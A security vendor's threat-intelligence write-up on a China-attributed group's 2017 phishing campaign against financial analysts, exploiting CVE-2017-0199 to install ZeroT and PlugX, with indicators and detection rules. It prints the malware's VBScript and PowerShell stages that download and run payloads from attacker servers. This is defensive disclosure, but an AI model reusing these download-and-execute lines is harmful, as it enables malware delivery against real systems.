

# APT Targets Financial Analysts with CVE-2017-0199

 [proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts](https://proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts)

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April 27, 2017 Axel F

On April 20, Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries. These analysts were linked by their coverage of the telecommunications industry, making this targeting very similar to, and likely a continuation of, activity described in our [“In Pursuit of Optical Fibers and Troop Intel”](#) blog. This time, however, attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched [CVE-2017-0199](#) to deploy the [ZeroT Trojan](#), which in turn downloaded the PlugX Remote Access Trojan (RAT).

Proofpoint is tracking this attacker, believed to operate out of China, as TA459. The actor typically targets Central Asian countries, Russia, Belarus, Mongolia, and others. TA459 possesses a diverse malware arsenal including PlugX, NetTraveler, and ZeroT. [1][2][3]

In this blog, we also document other 2017 activity so far by this attack group, including their distribution of ZeroT malware and secondary payloads PCrat/Gh0st.

## **Analysis**

In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199. This vulnerability was disclosed and patched days prior to this attack.




Figure 1: Microsoft Word document 0721.doc

The document uses the logic flow to first download the file power.rtf from `hxxp://122.9.52[.]215/news/power.rtf`. The payload is actually an HTML Application (HTA) file, not an RTF document.

```
<script language="VBScript">
  Window.ResizeTo 0,0
  Window.moveTo 3000,3000
  Set wsp = CreateObject("Wscript.Shell")
  Set fso = CreateObject("Scripting.FileSystemObject")
  If fso.FileExists(wsp.ExpandEnvironmentStrings("%systemroot%") +
  "\System32\WindowsPowerShell\v1.0\powershell.exe") Then
    wsp.Run "powershell.exe -nop IEX (New-Object
    Net.WebClient).DownloadString('http://122.9.52.215/power.ps1')", vbhide
  End If
</script>
```

Figure 2: The first script downloaded by the exploit document is an HTA file

As shown in the figure above, the HTA's VBScript changes the window size and location and then uses PowerShell to download yet another script: power.ps1. This is a PowerShell script that downloads and runs the ZeroT payload `cgi.exe`.

```

Import-Module BitsTransfer
$url = 'http://www.firesyst.net/info/net/test/cgi.exe'
Start-BitsTransfer $url C:\\ProgramData\\cgi.exe
Invoke-Item C:\\ProgramData\\cgi.exe

```

Figure 3: The second script downloaded by the exploit document is a PowerShell script

2	200	HTTP	122.9.52.215	/news/power.rtf
3	200	HTTP	122.9.52.215	/news/power.ps1
4	200	HTTP	www.firesyst.net	/info/net/sports/drag/cgi.exe
5	200	HTTP	www.firesyst.net	/info/net/sports/drag/cgi.exe

Figure 4: Combined network traffic showing the document downloading its payloads

### ZeroT and other payloads

The attack group has made incremental changes to ZeroT since our last analysis. While they still use RAR SFX format for the initial payloads, ZeroT now uses a the legitimate McAfee utility (SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe) named mcut.exe instead of the Norman Safeground AS for sideloading as they have in the past. The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously.

Once ZeroT is running, we observed that the fake User-Agent used in the requests changed from “Mozilla/6.0 (compatible; MSIE 10.0; Windows NT 6.2; Tzcdnt/6.0)” to “Mozilla/6.0 (compatible; MSIE 11.0; Windows NT 6.2)”, thus removing the “Tzcdnt” typo observed in previous versions. The initial beacon to index.php changed to index.txt but ZeroT still expects an RC4-encrypted response using a static key: “(\*^GF(9042&\*”.

```

GET /info/net/sports/index.txt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/6.0 (compatible; MSIE 11.0; Windows NT 6.2)
Host: www.firesyst.net

HTTP/1.1 200 OK
Date: 
Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
Last-Modified: 
ETag: "
Accept-Ranges: bytes
Content-Length: 383
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain

.q9`-' .7.....2.%lC....X."m[}.....r.B.w0.f...
.i.....'..
Lz..47..B"Ft.l..uo..) ..(.=..QME..s.FtPYG9&.F..).....A.....n.J.:..E0L..

```

Figure 5: ZeroT initial beacon over HTTP requesting URL configuration

Next, ZeroT uses HTTP beacons to transmit information about the infected system to the command and control (C&C). All posts are encrypted, unlike the last time we analyzed a sample from this actor, when the first POST was accidentally not encrypted. After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers.



Figure 6: Collage of example BMP images containing stage 2 payloads hidden using LSB steganography

The stage 2 payload was PlugX that beacons to C&C servers [www\[.\]icefirebest\[.\]com](http://www.icefirebest.com) and [www\[.\]icekkk\[.\]net](http://www.icekkk.net).

- URL: <http://www.firesyst.net/info/net/sports/index.txt>
- URL: <http://www.firesyst.net/info/net/sports/nba/recv.php>
- URL: <http://www.firesyst.net/info/net/net/bmp/rapi.dll.bmp>
- URL: <http://www.firesyst.net/info/net/net/bmp/rapi.bmp>
- URL: <http://www.firesyst.net/info/net/net/bmp/rapiexe.bmp>
- URL: <http://www.firesyst.net/info/net/net/bmp/fslapi.dll.bmp>
- URL: <http://www.firesyst.net/info/net/net/bmp/fslapi.bmp>
- URL: <http://www.firesyst.net/info/net/net/bmp/fsguidll.bmp>
- URL: <http://www.icefirebest.com/ADFB415523207E029845BAAD>
- URL: <http://www.icefirebest.com/947EE2D909A41F877EC95C34>

Figure 7: ZeroT and PlugX HTTP network activity

Additional 2017 activity by TA459

Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware payloads. ZeroT remained the primary stage 1 payload, but the stage 2 payloads varied. One such interesting example was “ПЛАН РЕАЛИЗАЦИИ ПРОЕКТА.rar” (SHA256 b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda). Translated from Russian, this file is named “PROJECT REALIZATION PLAN” and contains a compressed .scr executable. This ZeroT executable communicated with the C&C domain www[.]kz-info[.]net and downloaded PlugX as well as an additional PCrAt/Gh0st Trojan which communicated with the www[.]ruvim[.]net C&C server. PCrAt/Gh0st is a payload that we do not see this group using frequently.

Another interesting ZeroT sample (SHA256 bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374) contained the executable 0228.exe and a decoy document 0228.doc in the RAR SFX archive. Bundling decoy documents is a common tactic by this group. RAR SFX directives are used to display the decoy while the malicious payload is executed. We suspect that this specific lure was copied from the news article [http://www.cis.minsk\[.\]by/news.php?id=7557](http://www.cis.minsk[.]by/news.php?id=7557). This article was about “73-го заседания Экономического совета СНГ”, translated from Russian as “73rd meeting of the CIS Economic Council”, which describes a meeting held in Moscow by the Commonwealth of Independent States (CIS) countries, an organization that includes nine out of the fifteen former Soviet Republics.




Figure 8: Decoy document




Figure 9: The believed source of the text in decoy document

## Conclusion

TA459 is well-known for targeting organizations in Russia and neighboring countries. However, their strategy, tactics, techniques, and procedures in this particular attack emphasize the importance of rigorous patching regimens for all organizations. Even as software vulnerabilities often take a back seat to human exploits and social engineering, robust defenses must include protection at the email gateway, proactive patch management, and thoughtful end user education. Paying attention to the details of past attacks is also an important means of preparing for future attacks. Noting who is targeted, with what malware, and with what types of lures provide clues with which organizations can improve their security posture.

At the same time, multinational organizations like the financial services firms targeted here must be acutely aware of the threats from state-sponsored actors working with sophisticated malware to compromise users and networks. Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats, phishing campaigns, and socially engineered threats every day.

## References

[1]<https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia>

[3]<https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests>



[3]<https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zero-t-plugx>

### Indicators of Compromise (IOCs)

IOC	IOC Type	Description
a64ea888d412fd406392985358a489955b0f7b27da70ff604e827df86d2ca2aa	SHA256	0721.doc CVE-2017-0199
hxxp://122.9.52[.]215/news/power.rtf	URL	0721.doc payload
hxxp://122.9.52[.]215/news/power.ps1	URL	0721.doc payload
hxxp://www.firesyst[.]net/info/net/sports/drag/cgi.exe	URL	0721.doc payload
bf4b88e42a406aa83def0942207c8358efb880b18928e41d60a2dc59a59973ba	SHA256	ZeroT (cgi.exe)
www.firesyst[.]net	Hostname	ZeroT C&C
www.icekkk[.]net	Hostname	PlugX C&C

### Indicators of Compromise (IOCs) - Related

IOC	IOC Type	Description
www.kz-info[.]net	Hostname	ZeroT C&C
www.firesyst[.]net	Hostname	ZeroT C&C
www.buleray[.]net	Hostname	ZeroT C&C
www.intersu[.]net	Hostname	ZeroT C&C
868ee879ca843349bfa3d200f858654656ec3c8128113813cd7e481a37dcc61a	SHA256	ZeroT
4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa	SHA256	ZeroT
5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf	SHA256	ZeroT

b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda	SHA256	ZeroT
ab4cbfb1468dd6b0f09f6e74ac7f0d31a001d396d8d03f01bceb2e7c917cf565	SHA256	ZeroT
79bd109dc7c35f45b781978436a6c2b98a5df659d09dee658c2daa4f1984a04e	SHA256	ZeroT
www.icekkk[.]net	Hostname	PlugX C&C
www.icefirebest[.]com	Hostname	PlugX C&C
www.ruvim[.]net	Hostname	PlugX C&C

### ET and ETPRO Suricata/Snort Coverage

2821028 | ETPRO TROJAN APT.ZeroT CnC Beacon HTTP POST

2825365 | ETPRO TROJAN APT.ZeroT CnC Beacon Fake User-Agent

2824641 | ETPRO TROJAN APT.ZeroT Receiving Config

2810326 | ETPRO TROJAN PlugX Related Checkin

2024196 | ET WEB\_CLIENT HTA File containing Wscript.Shell Call - Potential Office Exploit Attempt

2024197 | ET CURRENT\_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in RTF 0-day )

2016922 | ET TROJAN Backdoor family PC RAT/Gh0st CnC traffic

2021716 | ET TROJAN Backdoor family PC RAT/Gh0st CnC traffic (OUTBOUND) 102

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